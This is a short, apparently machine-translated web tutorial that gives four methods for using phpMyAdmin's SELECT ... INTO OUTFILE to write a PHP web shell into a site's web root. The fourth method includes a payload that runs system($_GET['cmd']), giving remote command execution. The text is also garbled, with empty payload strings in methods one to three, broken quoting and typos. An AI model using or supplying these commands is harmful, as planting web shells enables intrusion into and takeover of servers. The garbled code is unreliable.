Four methods for phpmyadmin to export Trojans

What should I do if there is a Trojan horse in the website? Is there any good way to deal with it? The four methods I summarized for phpmyadmin to export Trojans:

Method 1:

CREATE TABLE `mysql`.`darkmoon` (`darkmoon1 ` TEXT NOT NULL );INSERT INTO `mysql`.`darkmoon` (`darkmoon1` ) VALUES ('');SELECT `darkmoon1` FROM `darkmoon` INTO OUTFILE 'd:/wamp/www/exehack.php';DROP TABLE IF EXISTS `darkmoon`;

The above code means to select the musql database and then create a darkmoon table and then add a field named darkmoon1

Then insert a sentence of code into the darkmoon1 field

Then export a sentence from the darkmoon1 field to the file name of d:/wamp/www/exehack.php (the path here is the program path of the website)

Finally, delete the darkmoon table .

Method 2:

Create TABLE moon (darkmoon text NOT NULL); Insert INTO moon (darkmoon) VALUES(''); select darkmoon from moon into outfile ' d:/wamp/www/exehack.php'; Drop TABLE IF EXISTS moon;

Method 3:

select ''INTO OUTFILE 'd:/wamp/ www/exehack.php'

Method 4:

select '\';system($_GET[\'cmd\']); echo \'\' ; ?>' INTO OUTFILE 'd:/wamp/www/exehack.php'

This can directly execute the cmd command, the parameter is cmd

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